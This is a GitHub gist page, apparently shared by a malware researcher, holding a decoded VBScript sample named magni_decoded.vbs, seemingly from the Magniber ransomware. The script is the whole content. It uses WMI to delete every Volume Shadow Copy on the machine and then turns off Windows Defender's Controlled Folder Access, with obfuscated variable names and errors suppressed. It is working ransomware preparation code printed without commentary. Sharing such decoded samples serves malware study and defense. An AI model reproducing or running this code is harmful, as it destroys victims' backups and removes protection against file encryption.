Skip to content

Instantly share code, notes, and snippets.

@hasherezade

hasherezade/magni_decoded.vbs Secret

Created March 21, 2023 01:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hasherezade/c93834738a12b1daaa1c06bdb3ea00f2 to your computer and use it in GitHub Desktop.
Save hasherezade/c93834738a12b1daaa1c06bdb3ea00f2 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
magni_decoded.vbs
On Error Resume Next
Set dd4y336wf97z = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set s1o28iq = dd4y336wf97z.ExecQuery("Select * From Win32_ShadowCopy")
For Each d18706x in s1o28iq
d18706x.Delete_
Next
Set c6406r7uh = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\Microsoft\Windows\Defender:MSFT_MpPreference")
Set jlfze3cy1qjq = c6406r7uh.Methods_("Set").inParameters.SpawnInstance_()
jlfze3cy1qjq.Properties_.Item("EnableControlledFolderAccess") = 0
Set ub7mu3 = c6406r7uh.ExecMethod_("Set", jlfze3cy1qjq)
WScript.Quit Err.Number
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment